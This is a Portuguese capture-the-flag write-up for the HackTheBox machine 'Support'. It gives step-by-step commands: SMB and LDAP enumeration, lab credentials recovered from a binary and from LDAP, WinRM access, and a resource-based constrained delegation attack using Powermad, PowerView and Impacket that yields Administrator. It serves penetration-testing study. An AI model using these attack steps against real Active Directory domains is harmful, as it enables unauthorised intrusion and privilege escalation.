> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Relato do HackTheBox Support {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração SMB * Análise Binária de EXE * Depuração com DNSpy * Definindo pontos de interrupção e obtendo uma senha LDAP em texto claro (DNSpy) * Enumeração de Usuários Kerberos (kerbrute) * Enumeração LDAP (ldapsearch) * Vazamento de Informações * Abuso do grupo Remote Management Users (Evil-WinRM) * Enumeração com SharpHound + BloodHound * Abuso de Contas Compartilhadas de Suporte (GenericAll) (ataque RBCD) (Delegação Restrita Baseada em Recursos) * Ataque de Delegação Restrita Baseada em Recursos - Criando um Objeto de Computador (powermad.ps1) * Ataque de Delegação Restrita Baseada em Recursos - PowerView\.ps1 * Ataque de Delegação Restrita Baseada em Recursos - Obtendo o ticket de serviço impersonado (getST.py) * Usando o ticket para obter acesso de Administrador (Escalação de Privilégios) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

#### **Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Varredura da versão das portas com o Nmap:** Usando o Nmap para escanear a versão das portas e extrair informações no arquivo "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **Enumeração do DC:** ### Lista smb: Usando CrackMapExec para enumeração SMB. ```bash crackmapexec smb 10.10.11.174 ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo

### **Lista Kerberos:** Usando Kerbrute para enumerar usuários. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **Exploração do compartilhamento de rede:** Pesquisar pastas compartilhadas na rede. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

Descobrimos um arquivo zip interessante chamado "UserInfo-exe-zip". Para prosseguir, usamos o `get` comando para baixá-lo para nossa máquina.

### /*/* Análise de arquivo binário Windows\:/*/* Vamos executar um executável Windows em uma máquina equipada com Windows. Para isso, precisamos: 1. Transferir arquivo ZIP

2. Migração da Configuração de VPN 3. `/etc/hosts` Configuração

Para executar o binário e identificar todos os usuários válidos, basta inserir o seguinte comando ```bash ./UserInfo.exe find -first * -last * ``` #### Este binário nos permitirá listar usuários.

#### Análise de arquivo binário Windows baixado com DNspy. {% embed url="" %}

### **Extração de uma senha em texto claro:** Usando DNspy para extrair uma senha em texto claro de um binário Windows.

Vamos executar o programa, mas vamos pausar apenas na seção em que o texto está claro.

Aqui está a senha LDAP:

### **Verificação da senha LDAP:** Verificando a senha extraída com CrackMapExec. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### Lista do domínio: ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### Usuários do domínio ``` enumdomusers ```

#### Grupos do domínio ```bash enumdomgroups ```

#### Descrições dos usuários: ```bash querydispinfo ```

#### Inserir todos os usuários válidos do domínio em um arquivo. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### Agora verificaremos se a senha LDAP é reutilizada por um dos seguintes usuários: ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` No entanto, isso não funciona.

### **Listagem LDPA:** {% embed url="" %} #### Usando LDAP search para enumerar informações. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### Há muitos dados disponíveis, porém, ao aplicar um filtro nas informações da música, uma senha para o usuário support é descoberta. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **Exploração:** #### Use CrackMapExec para confirmar a senha associada à conta support. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` Esse usuário faz parte do grupo de usuários de gerenciamento remoto, permitindo que nos conectemos via Windows Remote Management (WinRM). ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Uso do Evil-WinRM:** Conectar ao sistema-alvo via Evil-WinRM usando as informações identificadas obtidas.

## Escalada de privilégios ### **Revisão dos privilégios atuais:**
Usando as `whoami /priv` comando para verificar os privilégios do usuário, sem sucesso.

### **Análise dos grupos de associação:** Usando as `net user support` comando para inspecionar os grupos aos quais o usuário pertence. Descoberta de um grupo aparentemente raro, "shared support accounts".

### **Uso do BloodHound para análise de privilégios:** #### Usando a ferramenta BloodHound para mapear relacionamentos de acesso. {% embed url="" %}

### **Execução do SharpHound para análise adicional:** Usando SharpHound, uma ferramenta complementar ao BloodHound, para coletar dados adicionais sobre relacionamentos de acesso. ```powershell ./SharpHound.exe -c All ```

## Ataque de Delegação Restrita Baseada em Recursos vulnerável: {% embed url="" %} ### **Identificação da vulnerabilidade Ataque de Delegação Restrita Baseada em Recursos:**

#### Implantação do script Powermad para criar uma conta de máquina. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### Usando PowerView para verificar a criação da conta de máquina. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### Definição de autorizações para a conta de máquina usando comandos PowerShell. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### Com este comando, verificamos se todo o procedimento 'Get-DomainComputer dc' funciona usando as propriedades 'msds-allowedtoactonbehalfofather identity'.'

### **Exploração da vulnerabilidade** #### Usando a ferramenta Impacket para executar o `getST` comando para obter um ticket TGT que impersona o usuário Administrator. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### Configure o ambiente Kerberos do Administrator exportando `KRB5CCNAME`, depois conecte-se ao sistema-alvo usando o Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### Flag final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.